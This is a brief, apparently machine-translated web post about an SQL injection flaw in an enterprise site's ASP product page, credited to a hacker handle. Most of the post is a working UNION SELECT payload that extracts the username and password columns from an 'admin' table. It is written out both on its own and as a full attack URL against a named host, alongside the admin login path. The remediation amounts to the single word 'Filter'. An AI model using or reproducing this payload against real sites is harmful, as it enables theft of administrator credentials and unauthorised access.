SQL Injection Vulnerability and repair on an enterprise site

 

I don't know the copyright.

 

 

Type: SQL Injection

 

Cause: the filtering is lax, resulting in SQL injection.

 

Level: severe

 

Background: admin/login. asp

 

Exp:

And 1 = 2 union select 1, username, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, password, 16, 17, 18, 19, 20, 21, 22 from admin

 

The field cannot be guessed.

 

Example:

Http://www.bkjia.com/products_show.asp? P_id = 30 and 1 = 2 union select 1, username, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, password, 16, 17, 18, 19, 20, 21, 22 from admin

 

Fix: Filter. For more information, see the article on other common issues on this site.

 

By Mr. DzY from www.0855. TV